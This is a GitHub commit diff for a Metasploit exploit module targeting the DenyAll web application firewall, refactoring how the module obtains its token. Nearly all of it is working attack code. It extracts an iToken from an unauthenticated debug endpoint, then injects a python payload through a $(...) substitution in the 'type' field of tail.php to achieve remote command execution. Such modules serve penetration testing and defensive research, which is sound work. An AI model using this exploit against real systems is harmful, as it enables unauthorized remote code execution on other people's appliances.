Skip to content

Commit 1031d79

Browse files
committed
Moving token extraction to the seperated function
1 parent ee969ae commit 1031d79

File tree

1 file changed

+21
-20
lines changed

1 file changed

+21
-20
lines changed

modules/exploits/linux/http/denyall_waf_exec.rb

Lines changed: 21 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -45,8 +45,8 @@ def initialize(info={})
4545
)
4646
end
4747

48-
def check
49-
# Get iToken from unauthenticated accessible endpoint
48+
def get_token
49+
# Taking token by exploiting bug on first endpoint.
5050
res = send_request_cgi({
5151
'method' => 'GET',
5252
'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
@@ -57,41 +57,42 @@ def check
5757
})
5858

5959
if res && res.code == 200 && res.body.include?("iToken")
60-
return Exploit::CheckCode::Appears
60+
res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
6161
else
62-
return Exploit::CheckCode::Safe
62+
nil
63+
end
64+
end
65+
66+
def check
67+
# If we've managed to get token, that means target is most likely vulnerable.
68+
token = get_token
69+
if token.nil?
70+
Exploit::CheckCode::Safe
71+
else
72+
Exploit::CheckCode::Appears
6373
end
6474
end
6575

6676
def exploit
67-
print_status("Extracting iToken value from unauthenticated accessible endpoint.")
6877
# Get iToken from unauthenticated accessible endpoint
69-
res = send_request_cgi({
70-
'method' => 'GET',
71-
'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
72-
'vars_get' => {
73-
'applianceUid' => "LOCALUID",
74-
'typeOf' => "debug"
75-
}
76-
})
78+
print_status("Extracting iToken value")
79+
token = get_token
7780

78-
if res && res.code == 200 && res.body.include?("iToken")
79-
iToken = res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
80-
print_good("Awesome. iToken value = #{iToken}")
81+
if token.nil?
82+
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
8183
else
82-
fail_with(Failure::Unknown, "Didn't receive response from target server.")
84+
print_good("Awesome. iToken value = #{token}")
8385
end
8486

85-
# Accessing to the vulnerable endpoint with valid iToken
87+
# Accessing to the vulnerable second endpoint where we have command injection with valid iToken
8688
print_status("Trigerring command injection vulnerability with iToken value.")
87-
8889
r = rand_text_alpha(5 + rand(3));
8990

9091
send_request_cgi({
9192
'method' => 'POST',
9293
'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'),
9394
'vars_post' => {
94-
'iToken' => iToken,
95+
'iToken' => token,
9596
'tag' => "tunnel",
9697
'stime' => r,
9798
'type' => "#{r}$(python -c \"#{payload.encoded}\")"

0 commit comments

Comments
 (0)